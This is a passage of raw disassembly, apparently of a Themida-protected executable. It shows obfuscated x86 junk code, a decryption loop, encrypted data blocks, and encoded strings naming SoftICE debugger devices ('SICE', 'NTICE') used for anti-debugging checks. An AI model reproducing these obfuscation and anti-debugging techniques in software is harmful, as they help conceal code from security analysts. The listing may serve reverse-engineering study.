; ---------------------------------------------------------------------------
loc_5AF9EF: ; CODE XREF: Themida_:005A59ECj
push ecx
pop eax
pop ecx
pop ebp
xor edi, eax
mov eax, [esp]
add esp, 4
jmp loc_5A8FFD
; ---------------------------------------------------------------------------
loc_5AFA00: ; CODE XREF: Themida_:005ACE0Dj
pop ecx
push dword ptr [esp]
jmp loc_5A4835
; ---------------------------------------------------------------------------
loc_5AFA09: ; CODE XREF: Themida_:00599577j
push ebx
push ebp
push edi
mov edi, 55C65828h
mov ebp, 967F72AAh
sub ebp, edi
pop edi
jmp loc_5A1F70
; ---------------------------------------------------------------------------
loc_5AFA1E: ; CODE XREF: Themida_:005AC976j
shl ebx, 1
jnp loc_5A284C
add ebx, 26680828h
jb loc_59D28E
mov dl, al
pop ecx
loc_5AFA35: ; CODE XREF: Themida_:005A0742j
shl ebp, 5
jns loc_5AF512
or ebp, 420F1EF0h
jge loc_5A34B2
and ebp, 53AC06A5h
jmp loc_59AE14
; ---------------------------------------------------------------------------
loc_5AFA55: ; CODE XREF: Themida_:005A99AAj
xor eax, edx
pop edx
jmp loc_59B732
; ---------------------------------------------------------------------------
loc_5AFA5D: ; CODE XREF: Themida_:0059C73Ej
push 1E08h
mov [esp], ebp
mov ebp, 1C606463h
push edx
mov edx, 578F4295h
jmp loc_5A33BB
; ---------------------------------------------------------------------------
loc_5AFA75: ; CODE XREF: Themida_:0059EA99j
sub ebx, 4
xchg ebx, [esp]
jmp loc_5ACBED
; ---------------------------------------------------------------------------
loc_5AFA83: ; CODE XREF: Themida_:005AA6BEj
pop edx
or esi, 7E184380h
push edi
mov edi, 1647488Ah
jmp loc_59A9BE
; ---------------------------------------------------------------------------
loc_5AFA95: ; CODE XREF: Themida_:005AA412j
sub ebx, 6671B7ACh
mov ebp, ebx
pop ebx
add edi, ebp
jmp loc_59D9CE
; ---------------------------------------------------------------------------
loc_5AFAA5: ; CODE XREF: Themida_:0059A025j
add ebx, 4
jmp loc_5AEC9E
; ---------------------------------------------------------------------------
loc_5AFAB0: ; CODE XREF: Themida_:0059CFC2j
; Themida_:0059F9CFj
mov ah, 0D8h
sub dh, ah
pop eax
mov bl, dh
push dword ptr [esp]
pop edx
jmp loc_5A4DEA
; ---------------------------------------------------------------------------
loc_5AFAC0: ; CODE XREF: Themida_:0059AD89j
xchg eax, [esp]
mov esp, [esp]
add ebp, 4
add ebp, 2
xchg ebp, [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_5A9663
; ---------------------------------------------------------------------------
loc_5AFAE0: ; CODE XREF: Themida_:005A3D1Fj
add ecx, 40B5225h
not ecx
jmp loc_5A6923
; ---------------------------------------------------------------------------
loc_5AFAED: ; CODE XREF: Themida_:005A017Bj
sub edx, 582E4573h
shl edx, 4
xor edx, 52D61CA2h
shr edx, 2
sub edx, 0B4156A90h
mov edi, edx
pop edx
sub eax, edi
jmp loc_59F408
; ---------------------------------------------------------------------------
loc_5AFB0F: ; CODE XREF: Themida_:loc_5A87CEj
jmp loc_5A3481
; ---------------------------------------------------------------------------
loc_5AFB14: ; CODE XREF: Themida_:0059DA34j
pop esi
sub esp, 4
jmp loc_5A88EC
; ---------------------------------------------------------------------------
loc_5AFB1D: ; CODE XREF: Themida_:005AEE13j
mov [esp], edx
mov dl, 0CFh
dec dl
jmp loc_59E5D3
; ---------------------------------------------------------------------------
loc_5AFB29: ; CODE XREF: Themida_:005ADC79j
not esi
xor esi, 574F76AAh
or esi, 5BC77486h
jmp loc_59C463
; ---------------------------------------------------------------------------
loc_5AFB3C: ; CODE XREF: Themida_:005A2E12j
shl edx, 3
jmp loc_5AB1E7
; ---------------------------------------------------------------------------
loc_5AFB44: ; CODE XREF: Themida_:005A9476j
push ecx
mov ecx, 4
add edx, ecx
pop ecx
sub esp, 4
jmp loc_598E5C
; ---------------------------------------------------------------------------
loc_5AFB55: ; CODE XREF: Themida_:005A96FDj
pop esi
jmp loc_5A86C6
; ---------------------------------------------------------------------------
loc_5AFB5B: ; CODE XREF: Themida_:005AAA44j
shl ch, 3
push ebx
mov bh, 50h
add bh, 0FFh
shr bh, 5
add bh, 4Dh
add bh, 75h
xor ch, bh
pop ebx
jmp loc_5A70A6
; ---------------------------------------------------------------------------
loc_5AFB75: ; CODE XREF: Themida_:0059D475j
pop ecx
movzx eax, ax
push small 4B0Fh
mov [esp], ax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AFB86: ; CODE XREF: Themida_:005A8022j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
jmp loc_59E298
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A7FB8
; ---------------------------------------------------------------------------
loc_5AFBA2: ; CODE XREF: Themida_:005AC2BDj
jmp loc_59CB83
; ---------------------------------------------------------------------------
loc_5AFBA7: ; CODE XREF: Themida_:0059E83Dj
add edi, 4
jmp loc_5A9562
; ---------------------------------------------------------------------------
loc_5AFBB2: ; CODE XREF: Themida_:0059EA2Cj
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
add esp, 4
idiv ecx
push 1A68h
mov [esp], edx
push eax
pushf
jmp loc_5A2C8F
; ---------------------------------------------------------------------------
loc_5AFBDC: ; CODE XREF: Themida_:0059FE09j
mov [esp], edx
mov edx, 0C1E55E3h
or edx, 324B392Dh
not edx
add edx, 0CA360631h
sub edi, edx
jmp loc_59CACE
; ---------------------------------------------------------------------------
loc_5AFBF9: ; CODE XREF: Themida_:005AF1CEj
xor eax, 400D22FFh
jg loc_59B917
sub eax, 0E8689FDh
push edx
mov edx, 3890463Fh
or eax, edx
pop edx
shr eax, 3
shr eax, 5
neg eax
push edi
mov edi, 71A7555Dh
xor edi, 1C6E406Fh
xor edi, 6D99C89Dh
sub eax, 51155365h
add eax, edi
add eax, 51155365h
mov edi, [esp]
add esp, 4
push ebp
jmp loc_5A6CF3
; ---------------------------------------------------------------------------
loc_5AFC44: ; CODE XREF: Themida_:005AD139j
mov ecx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59DDEB
; ---------------------------------------------------------------------------
loc_5AFC60: ; CODE XREF: Themida_:005A4C77j
pop edi
xor ebp, eax
mov eax, [esp]
add esp, 4
mov esi, ebp
pop ebp
push esi
mov esi, 3E6E4D7Ah
sub ebx, esi
pop esi
add ebx, 70101621h
push ecx
mov ecx, 5B3500FDh
shr ecx, 4
inc ecx
sub ecx, 0AD9F22F7h
add ebx, ecx
pop ecx
jmp loc_59C715
; ---------------------------------------------------------------------------
loc_5AFC96: ; CODE XREF: Themida_:005A4089j
pop ecx
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5AD47E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_5A4D98
; ---------------------------------------------------------------------------
loc_5AFCB0: ; CODE XREF: Themida_:005ABABAj
; Themida_:005AE721j
mov ecx, 2
add eax, ecx
mov ecx, [esp]
add esp, 4
push esi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
sub esi, 4
jmp loc_59FD85
; ---------------------------------------------------------------------------
loc_5AFCEA: ; CODE XREF: Themida_:005A12E5j
or esi, eax
jmp loc_59D8B1
; ---------------------------------------------------------------------------
loc_5AFCF1: ; CODE XREF: Themida_:00598C8Ej
jmp loc_598A6C
; ---------------------------------------------------------------------------
loc_5AFCF6: ; CODE XREF: Themida_:005990FDj
sub dh, 0BAh
sub al, 4Eh
jmp loc_5A5EE0
; ---------------------------------------------------------------------------
loc_5AFD00: ; CODE XREF: Themida_:005AA16Cj
inc dword ptr [esp]
pop ebp
jmp loc_5A7526
; ---------------------------------------------------------------------------
loc_5AFD09: ; CODE XREF: Themida_:005A1AC2j
jmp loc_59A4E1
; ---------------------------------------------------------------------------
loc_5AFD0E: ; CODE XREF: Themida_:005AA2E5j
pop edi
push esi
push edx
mov edx, 4
mov esi, edx
pop edx
add edi, esi
pop esi
add edi, 4
xchg edi, [esp]
pop esp
or [edi+1Ch], eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AFD3D: ; CODE XREF: Themida_:005A006Cj
mov [esp], eax
mov al, 0C4h
sub ch, al
mov eax, [esp]
add esp, 4
add al, ch
mov ecx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
push edx
push ebx
mov ebx, 576C1735h
shr ebx, 3
js loc_59F88A
shr ebx, 7
js loc_5A5A90
xor ebx, 0D4CCDFBh
mov edx, ebx
jmp loc_59F9AC
; ---------------------------------------------------------------------------
loc_5AFD80: ; CODE XREF: Themida_:005A7453j
mov [esp], ebx
push ecx
push 2DC25B95h
pop ecx
jmp loc_5A642A
; ---------------------------------------------------------------------------
loc_5AFD8F: ; CODE XREF: Themida_:005A585Aj
mov [esp], ebp
xor dword ptr [esp], 40927A3h
jmp loc_59C9C6
; ---------------------------------------------------------------------------
loc_5AFD9E: ; CODE XREF: Themida_:005A1FE6j
; Themida_:005AD0CCj
mov esi, 7E0042DBh
jmp loc_5A8C28
; ---------------------------------------------------------------------------
loc_5AFDA8: ; CODE XREF: Themida_:005A4AF1j
mov ecx, 4
add ebp, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_5A530F
; ---------------------------------------------------------------------------
loc_5AFDC3: ; CODE XREF: Themida_:005AC79Dj
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
jmp loc_59C97B
; ---------------------------------------------------------------------------
loc_5AFDD7: ; CODE XREF: Themida_:005A9FB5j
pop edx
sub eax, 33C75B01h
jz loc_59B19E
jmp loc_5995A8
; ---------------------------------------------------------------------------
loc_5AFDE8: ; CODE XREF: Themida_:005AABC9j
and ah, bh
pop bx
sub esp, 4
mov [esp], ecx
jmp loc_59CDD2
; ---------------------------------------------------------------------------
loc_5AFDF7: ; CODE XREF: Themida_:0059A774j
sub cl, 0A6h
pop ax
xor cl, 59h
or cl, 0AEh
sub cl, 44h
add bl, cl
pop ecx
mov ecx, [esp]
add esp, 4
pop eax
add bl, 1Fh
sub bl, al
sub bl, 1Fh
jmp loc_59FD16
; ---------------------------------------------------------------------------
loc_5AFE1C: ; CODE XREF: Themida_:005A3AF0j
mov ecx, 4
sub esi, ecx
pop ecx
xor esi, [esp]
xor [esp], esi
jmp loc_5AAFFC
; ---------------------------------------------------------------------------
loc_5AFE2F: ; CODE XREF: Themida_:00598D8Aj
add edx, ebx
sub edx, 7FE030F0h
pop ebx
xchg edx, [esp]
pop esp
push eax
mov eax, esp
jmp loc_59E151
; ---------------------------------------------------------------------------
loc_5AFE44: ; CODE XREF: Themida_:0058B04Fj
call near ptr loc_5AFE5B+1
popf
insb
push 0B75CB0D6h
cwde
sub al, 2Dh
xchg esi, ebp
fstp qword ptr [edx-6DE1FAAEh]
loc_5AFE5B: ; CODE XREF: Themida_:loc_5AFE44p
test al, 0Fh
add dword ptr [ecx], 0F8000000h
pop ebx
pusha
mov dx, 794Bh
push eax
cmc
pop ebx
popa
add ebx, 5DA7h
jmp loc_5AFE8C
; ---------------------------------------------------------------------------
dd 0CF83C50Fh, 0F9A6E1BFh, 565F9860h, 12C9BD1Eh, 0FF9BD78Ah
; ---------------------------------------------------------------------------
loc_5AFE8C: ; CODE XREF: Themida_:005AFE73j
mov ecx, 3DA0767Bh
add ecx, 0C25FA0BDh
push ecx
mov esi, 29974118h
pop eax
loc_5AFE9E: ; CODE XREF: Themida_:005AFEFAj
push dword ptr [ebx]
mov esi, [ebp+7FA2BF5h]
pop edi
mov esi, edx
xor edi, 5DDE2FC8h
mov ax, di
sub edi, 3C2B9A0Bh
pusha
mov [ebp+7FA068Dh], eax
mov edi, edx
popa
xor edi, 7D4E1C66h
movzx edx, di
push edi
sub [ebp+7FA25A9h], eax
pop dword ptr [ebx]
mov ah, 0A0h
sub ebx, 3
push edi
add dl, 0EFh
pop esi
dec ebx
jmp loc_5AFEF4
; ---------------------------------------------------------------------------
dd 414B4A6Fh, 0AE3B4BF4h, 0EB400760h, 0C0617301h
; ---------------------------------------------------------------------------
loc_5AFEF4: ; CODE XREF: Themida_:005AFEDFj
sub ecx, 1
jnz loc_5AFE9E
jmp loc_5AFF14
; ---------------------------------------------------------------------------
db 6Eh, 5Ah, 0EDh
dd 0FD3AA3DFh, 8F60A666h, 4DB3FE3Dh
; ---------------------------------------------------------------------------
loc_5AFF14: ; CODE XREF: Themida_:005AFF00j
jmp loc_5AFF5E
; ---------------------------------------------------------------------------
db 0A4h, 0F2h, 20h
dd 4553551Ah, 2E323352h, 6C6C64h, 41564441h, 32334950h
dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch, 1000307h
dd 16001F00h, 36003800h, 1C400h, 3 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5AFF5E: ; CODE XREF: Themida_:loc_5AFF14j
jmp loc_5B0791
; ---------------------------------------------------------------------------
push 7FCCBFFh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FCCC83h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FCCD60h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FCCE91h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FCCF17h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FCD024h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FCD092h
jmp loc_58B334
; ---------------------------------------------------------------------------
db 0Fh, 7, 97h
dd 405EB461h, 0E6B85D0Ah, 920C03B0h, 3C62AF5Ch, 361DD206h
dd 0E08DC3DBh, 87346A34h, 32DF1589h, 0B887BDE1h, 4DE14460h
dd 0A90F07E3h, 0BE687BF2h, 0B00595CBh, 39D62E5Fh, 0E28F8E19h
dd 1FC5EE79h, 8E696B87h, 0F44D07E0h, 0A2D553B7h, 4DA2E1BAh
dd 63CDCAC3h, 3D80E910h, 0BCCD2ED4h, 36F814A4h, 1CE60183h
dd 6A1F38C3h, 0C54A66F6h, 0EFE1BBBCh, 7EE7B75Ah, 0B759AEEEh
dd 87666DE7h, 39C7E5A9h, 712DE693h, 19858E3Bh, 0B93E5F5Bh
dd 0D675B047h, 6A1h, 0F82E70A6h, 0A1D7C74Bh, 477D21F4h
dd 0F329759Ah, 9DD3CB46h, 46CBB469h, 9F752258h, 0F41CC9FFh
dd 4CC774AAh, 0F54D1C52h, 0E34E76D9h, 7F369C07h, 0A7326CA7h
dd 910D0257h, 61FF8AEBh, 43A9A7D1h, 5A9106ECh, 75001CB4h
dd 1C07E355h, 0E4E9A1F2h, 9E445EF0h, 2C6CFC55h, 0EE273BD7h
dd 93BC47B0h, 0CED040EDh, 7925EB98h, 0C9499EEEh, 0AB305BD5h
dd 0FB39A773h, 336BA855h, 65B08375h, 0E685C09Eh, 61Dh
dd 7CB2EC2Ah, 255B43CFh, 0CB019D78h, 77ADF11Eh, 215747CAh
dd 0C24F38EDh, 1BF9A6DCh, 70A04D83h, 0C84BF82Eh, 79D1A0D6h
dd 0E34EFA5Dh, 0BC22807h, 0A7326CA7h, 42CDD142h, 8D92BC44h
dd 0A0B2D05Ch, 25DF6006h, 74A1E61Eh, 498438h, 0A7150000h
dd 4DA2326Ch, 2750DBC3h, 0E08C4381h, 0FFE68379h, 8392D043h
dd 1B7CB21Bh, 4662F26Eh, 7E0F5DAh, 0DB1BAB04h, 86118D86h
dd 60AB75Dh, 0A6936387h, 3753AC26h, 7E0A5D4h, 0D740A902h
dd 821CF4A1h, 58758F7h, 0A7F10000h, 8EA7326Ch, 0BF223EFBh
dd 0E5FFE683h, 7793238Ch, 7E08825h, 0F5A2D831h, 0E94A801Eh
dd 0F030C0A0h, 9C27779Bh, 0D959CD73h, 0FD0FDD52h, 51BF14A4h
dd 0A66A174Dh, 0B086DF8h, 0CF35D593h, 0DB16999Fh, 5403Ch
dd 8F0F0700h, 3866AC59h, 0DEC05502h, 8A14FBA8h, 346AA754h
dd 2E15CAFEh, 0D885BBE3h, 7F2C623Ch, 2AD70D91h, 0B07FB5E9h
dd 50D93C58h, 0A10707E3h, 0F66CA7EAh, 0CEF7821Ch, 4DB6E829h
dd 0E8B65DC2h, 811DF85Dh, 1E8091F6h, 540E4F93h, 43FD6EACh
dd 0E6853E98h, 8F0F00FFh, 91235E26h, 1CC33874h, 73FFFFFFh
dd 6D31DE33h, 0E6799E01h, 0DB6BC4FFh, 0E6795CBFh, 8B318AFFh
dd 0AA67BCD4h, 72A14EF4h, 188A12Ch, 43ACF223h, 6F8789B3h
dd 748120CAh, 0A81A36CEh, 2E07E185h, 98237B99h, 80C92C48h
dd 9EF707E1h, 0FE96CC35h, 0A84F65D4h, 0AA5071FCh, 90204049h
dd 0DB9EFA74h, 48FE80Fh, 0E75E72D8h, 41FB7CFFh, 7566023Ah
dd 177A038h, 7B310000h, 95CBBE68h, 89E7E905h, 72CB07E0h
dd 0A653D135h, 3257E1BAh, 0C8499E2Eh, 0BCE231D6h, 0CA620831h
dd 0A5ECAEh, 0F681DAE6h, 24B4ACDDh, 0BAD08308h, 48D831E1h
dd 0EE7E20F3h, 0E7B759AEh, 64C7335Ch, 92DE06ABh, 0FD8816FDh
dd 87C56BD4h, 245439DAh, 0E6416721h, 846E2C95h, 0A547B95Ch
dd 40FCB6Ah, 0DE380000h, 35DD8AC0h, 8F863369h, 0E32CD90Fh
dd 39D885BBh, 46FB2F65h, 0B4EAB45Dh, 5B910D07h, 63C62AEh
dd 0AEE4BA59h, 86B87DFh, 2E07E351h, 96F311C8h, 0A5FA3ACAh
dd 1A8E346Ah, 7E34EA7h, 188689DEh, 75BE648Dh, 224C8C1Ch
dd 0C6C17B7Eh, 4BAE1AC6h, 7907E2C0h, 8DE27A20h, 6935DF83h
dd 925B5DEh, 7E2C0A6h, 0D40A73CCh, 9A86123Ch, 84BD30C9h
dd 0BFDF31DEh, 5A44CF34h, 6533C89Ch, 0EF8EC99Eh, 389h
dd 104658BEh, 0B9EFAF63h, 5F95090Ch, 0B415DB2h, 0B5EBB35Eh
dd 2EE3CC81h, 878D3A70h, 0DC34E117h, 34DF8CC2h, 0D65346Ah
dd 0E3528EF1h, 974EB407h, 0EF0B6CA7h, 0FFE6838Ch, 6DF861BAh
dd 7AA0F31Dh, 524A3AE3h, 2D56E1BDh, 0A2711EC4h, 27371FCh
dd 45439D48h, 6F37FFE7h, 38755134h, 5549C81Dh, 1AFBA1CAh
dd 0FFFFFD5Fh, 326CA7ABh, 0C5C84DA2h, 231A6EEh, 62ED56A6h
dd 0E7009339h, 122EBEA2h, 7E0CA68h, 57EF257Eh, 0E98F0F02h
dd 0B9637B32h, 0AB0090D0h, 0FB933965h, 0E089DDDFh, 6090BA07h
dd 1E59A363h, 65BE07ADh, 0F513ABD5h, 96064256h, 0EF7A24F1h
dd 77DB20C6h, 0AFF8722Ah, 5EB76D1Ch, 0F247D740h, 0D2EE7E20h
dd 0AFD3926Fh, 0FE963C95h, 0CD9B20E2h, 62ED46B7h, 90204049h
dd 0F7C4EF74h, 415DDDAFh, 0AFD3C0DEh, 0B242AB04h, 0AAF41D72h
dd 0E2BC5704h, 6EA14ACh, 48F5493Fh, 1DF6A349h, 0BFE5C381h
dd 0ABE63674h, 27C0Ch, 534BCB00h, 0FCA2701Dh, 0A2FC19C6h
dd 4E50BF6Ch, 0F8A66B18h, 0F2D98EC2h, 9C497F1Fh, 43F02678h
dd 0EE9BD1CDh, 74437925h, 539D001Ch, 5DC307E3h, 0A967BCA6h
dd 9B416AF5h, 81114F3Ah, 0E34DFC65h, 191EA07h, 0FAA46CC1h
dd 0E34D2B8Eh, 5A005907h, 0FBA36DC2h, 95F818C5h, 4290D74Dh
dd 0A22D9649h, 0AC8D63Dh, 9E65BF4Ah, 0E49E823h, 39000002h
dd 0DE8BC1DDh, 87346A34h, 2DDA108Eh, 0D986BCE2h, 0FC306638h
dd 0EDB16047h, 940A0AB7h, 3F5FB15Eh, 0E7B75C09h, 6E8AE2B1h
dd 7E3530Bh, 0F31CD339h, 1E3ACA96h, 7E34EB5h, 1C46D62Fh
dd 76ACAC69h, 1C828E2Bh, 20750DB3h, 0C61BABF3h, 6FAD534Bh
dd 187B97D7h, 3E07E324h, 0AFDE3FE5h, 0B40D29B9h, 0D207E324h
dd 8889EE79h, 0CC318B16h, 74C95945h, 1E5C029Ch, 898D0BDh
dd 0E32491ECh, 0CB56AF07h, 0B3EB267Bh, 7D85FF28h, 3E8BC05Ah
dd 878C39DFh, 0E2328C17h, 751B838Dh, 1D534BC8h, 0B1EAA370h
dd 55C8F4C8h, 0CE23B31Ch, 0A7D05B43h, 0E88E1002h, 7F75C455h
dd 1E830E90h, 8D1FAAF4h, 7F02AA64h, 9B785C16h, 0E035CD03h
dd 0B8E16C32h, 0F0AE6512h, 5B070B60h, 0F37EE7B7h, 0B2EC25CAh
dd 0FD14790Ch, 0C9FA16A1h, 0B6E82B0Fh, 603ED380h, 0C6DBA6D0h
dd 0F17C22F3h, 35E74EC8h, 7102953Bh, 0B6E82C22h, 4F4FC62Bh
dd 0BD77A8C4h, 6F299215h, 0E218868Bh, 37C2DC35h, 1E8092E7h
dd 17C46A93h, 0C015A5F9h, 12A54B53h, 0B99D5780h, 63104658h
dd 3904DDB0h, 0F07C9C47h, 0AFD0FC87h, 44C056DDh, 967D611Bh
dd 103AD208h, 0C7F1CFAEh, 48670A29h, 2FEA41BBh, 28EB983Eh
dd 719BEB76h, 835D8C1Ah, 0DD32D715h, 0A36E1BC1h, 0DE1770FBh
dd 252B5524h, 0FCB7686Fh, 5BB8650Bh, 0B3600D43h, 0D01060EBh
dd 75F651B4h, 28AA46BFh, 0B14C5DEDh, 6836DB70h, 0A54BB4DDh
dd 33DF4544h, 4EB7E06Bh, 6F10A2BEh, 3D96C770h, 7DE3A607h
dd 2E91ADEDh, 54B85C6Eh, 0A1BD55FBh, 0C0593912h, 47AC3790h
dd 0EF9CD2CCh, 0C3EF7A24h, 0DD4BC57Dh, 3A1ED811h, 0F78FC5D9h
dd 83389BB7h, 17FAA23Bh, 92D3FC87h, 2DE69339h, 8E81E671h
dd 0B3F38510h, 46ECB25Eh, 0EC270BC5h, 44CF7CB2h, 1CA0CA5Ah
dd 41BC5F49h, 38D76A10h, 0Dh, 3194B0F0h, 5FA23C3Bh, 0BBA96006h
dd 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h
dd 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h, 89575285h
dd 4C781E7h, 83000000h, 3C8704EFh, 2C895C24h, 52A36824h
dd 3C890000h, 623C6824h, 34890000h, 192A6824h, 4890000h
dd 0CB68B824h, 0C78907FCh, 4EC8358h, 81242489h, 42404h
dd 575E0000h, 7C243481h, 8F46181Ah, 0BB530846h, 8, 3381F301h
dd 46181A7Ch, 24348B5Bh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
dd 53243C8Bh, 0C381E389h, 4, 4C381h, 1C870000h, 0A5E95C24h
dd 10FFFDABh
db 0CFh
; ---------------------------------------------------------------------------
loc_5B0791: ; CODE XREF: Themida_:loc_5AFF5Ej
mov eax, 7FCD2C5h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 89F4h
dd 0E17426E7h, 0B8AD3E4Ah, 51713B5Eh, 1CF014B4h, 818820F2h
dd 0B7665412h, 309B5DCFh, 361C5019h, 0A5A8196Fh, 70412E26h
dd 8CE9675Bh, 60000000h, 18D9BD83h, 0F0007FAh, 584h, 77E900h
dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h
dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 14E9h
dd 0A1858D00h, 9007FA1Fh, 50969050h, 0FF006A96h, 0FA2AE595h
dd 0C6C36107h, 0FA066585h, 2F684D07h, 818A06ACh, 0CA792404h
dd 0B5FF1A2Eh, 7FA0515h, 3AE2858Dh, 0D0FF07FAh, 2AE58589h
dd 0BE807FAh, 2C000000h, 0D2EB9BB3h, 0F4B5A4BAh, 0B70F925Fh
dd 0C8815EC6h, 444D210Ch, 7485C681h, 858B0000h, 7FA222Dh
dd 9589C933h, 7FA0099h, 813134FFh, 193202C0h, 12E85A5Bh
dd 7B000000h, 0BE845930h, 0C5EFD5DDh, 6620D8A3h, 8AEB73A3h
dd 55BD29B6h, 5807FA18h, 0CB0CC281h, 0BD8B1279h, 7FA01FDh
dd 5D80C281h, 858B583Fh, 7FA0861h, 58E1C281h, 0CF803FFEh
dd 0E1489B1h, 4166B866h, 67DB529h, 0E98107FAh, 26846429h
dd 0FE9h, 535B4200h, 0ADEC1EF7h, 6131C4B9h, 75EE1116h
dd 6425C181h, 89602684h, 0FA0511B5h, 13E907h, 21500000h
dd 0E31E249Eh, 579CB740h, 94E8D1FFh, 0C3E836E5h, 0F9816199h
dd 0FFFF8C48h, 0FF5E850Fh, 9D09FFFFh, 7FA15B1h, 5C5C1EEBh
dd 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h
dd 544E5C2Eh, 454349h, 8D0FC08Bh, 13h, 0EE9h, 0CA0A1400h
dd 0E34262D6h, 0C61E9144h, 834A8624h, 0FA2ACDBDh, 9750007h
dd 1899BD83h, 740007FAh, 8B535019h, 40FB8C0h, 85890000h
dd 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h
dd 50177400h, 40FB853h, 85890000h, 7FA20C9h, 0DF139D8Dh
dd 0D3FF07FCh, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 8BADDBC3h, 519589D7h, 0E807FA27h
dd 6, 26A47D4Ah, 95893190h, 7FA2131h, 66C08B5Ah, 3352F38Bh
dd 0FA170DBDh, 85C65F07h, 7FA0665h, 0E8F98B43h, 4, 0BC8E6EFCh
dd 840F5250h, 0
dd 5250310Fh, 11E8h, 1E324900h, 3CC5EEA1h, 5A360766h, 0E97CE5h
dd 0F5E8B95h, 5A616031h, 50585A58h, 38B0Fh, 8B660000h
dd 24448BF1h, 52505604h, 0FD78B66h, 0EE931h, 39920000h
dd 3BC80AE2h, 548529F5h, 320148E9h, 8B5F585Ah, 50606000h
dd 0F52505Eh, 61585A31h, 890F57h, 5A000000h, 24448961h
dd 0B5FF5804h, 7FA08A5h, 8DF78B66h, 0FA3AE285h, 18C0F07h
dd 0F5000000h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0A2E4D0C3h, 7AAA2B60h, 0FAD8589h
dd 0E99007FAh, 0Dh, 1DF81138h, 485BA135h, 9829FE73h, 8B9050DEh
dd 0FA2801BDh, 81B58B07h, 6A07FA22h, 89958900h, 0E807FA2Bh
dd 4, 80h, 34E864BFh, 448B5060h, 0B2600424h, 5840F76h
dd 0BA000000h, 6E571214h, 8B008B61h, 244489CFh, 68F0F04h
dd 0F000000h, 86h, 66515800h, 59E773BFh, 8501036Ah, 7FA2A39h
dd 8589006Ah, 7FA30F9h, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 4DDB55C3h, 1F927F59h
dd 89B29F88h, 9E922668h, 5250568Ch, 2BBBBA66h, 585A310Fh
dd 24048159h, 33616DDAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0FAC35343h, 9D3CCA78h, 0D5159D8Dh, 6E807FCh
dd 0F4000000h, 0B0D5F41Bh, 0B2935EC5h, 0E86050BFh, 7, 6F9C6FADh
dd 8B034DB5h, 7E959D8h, 44000000h, 0A54AE936h, 93611DC4h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F5C35747h
dd 0E98FCC74h, 55CDCA81h, 0D0FF378Bh, 0E5DBD89h, 0F4007FAh
dd 30C85h, 6E900h, 0D1BA0000h, 0C44CCD5Dh, 75BD2B58h, 5007FA16h
dd 91436FBFh, 24048950h, 0F70CBE66h, 6A006Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 9F5D9BC3h
dd 7948B13Ah, 6890F71h, 8B000000h, 0FA01158Dh, 0CF816007h
dd 7BF52915h, 978BBA66h, 53A16861h, 8B0F8823h, 12h, 0DE9h
dd 1EAAA700h, 6F6E89A9h, 4E084197h, 481F36Ch, 0DCACDF24h
dd 52006A77h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 6AA4C188h, 0C5061785h, 2EBFBDC4h, 6A74919Ah
dd 8BD18B03h, 0FA2DF995h, 0F006A07h, 684h, 0B58D2300h
dd 6A07FA2Ah, 8E903h, 9D450000h, 38B54071h, 4E8F9B4h, 0
dd 8BC00000h, 8B6650F9h, 24448BF0h, 3BBF6604h, 50008B31h
dd 0FD58A52h, 5FEBBA31h, 585A3C57h, 4244489h, 66525051h
dd 0FBBEEB9h, 5A5F5731h, 8D585F58h, 0FCD51E9Dh, 61952B07h
dd 5007FA0Fh, 1C89F6B1h, 14E824h, 4610000h, 0A8404E54h
dd 0E45FB6C5h, 9624793h, 8029B6C7h, 830FC824h, 6, 1C59BD33h
dd 0FF5907FAh, 0FE8D0h, 0F00A0000h, 92C12E0Bh, 0C58E9AA1h
dd 25CE921Ch, 0BF0F609Eh, 6EEE80F8h, 0F405F61h, 1A485h
